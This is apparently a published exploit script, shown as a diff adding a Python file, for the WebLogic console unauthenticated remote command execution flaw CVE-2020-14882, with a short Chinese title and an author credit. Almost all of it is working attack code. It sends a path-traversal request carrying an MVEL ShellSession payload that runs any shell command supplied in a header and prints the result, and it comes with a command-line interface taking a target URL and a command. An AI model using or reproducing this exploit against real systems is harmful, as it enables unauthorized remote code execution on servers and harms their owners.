WebLogic Console 未授权命令执行(CVE-2020-14882)

Author: zhzyker

cve-2020-14882_rce.py

@@ -0,0 +1,66 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# author: zhzyker
+# from: https://github.com/zhzyker/vulmap
+# from: https://github.com/zhzyker/exphub
+import http.client
+import requests
+import sys
+import argparse
+http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
+
+payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
+            'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
+            '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
+            'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
+            '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
+            '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
+            'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
+            'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
+            '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
+            '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
+            '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
+            'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
+            'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
+            'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
+
+def cve_2020_14882(url, cmd):
+    payload = payload_cve_2020_14882_v12
+    path = "/console/css/%252e%252e%252fconsole.portal"
+    headers = {
+        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
+        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
+                  'application/signed-exchange;v=b3;q=0.9',
+        'Accept-Encoding': 'gzip, deflate',
+        'Accept-Language': 'zh-CN,zh;q=0.9',
+        'Connection': 'close',
+        'Content-Type': 'application/x-www-form-urlencoded',
+        'cmd': cmd
+    }
+    try:
+        request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
+        print(request.text)
+    except Exception as error:
+        print("[-] Vuln Check Failed... ...")
+        print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")
+
+
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
+                                     usage='use "python %(prog)s --help" for more information',
+                                     formatter_class=argparse.RawTextHelpFormatter)
+    parser.add_argument("-u", "--url",
+                        dest="url",
+                        help="target url (http://127.0.0.1:7001)"
+                        )
+
+    parser.add_argument("-c", "--cmd",
+                        dest="cmd",
+                        help="command"
+                        )
+    args = parser.parse_args()
+    if not args.url or not args.cmd:
+        sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
+    cve_2020_14882(args.url, args.cmd)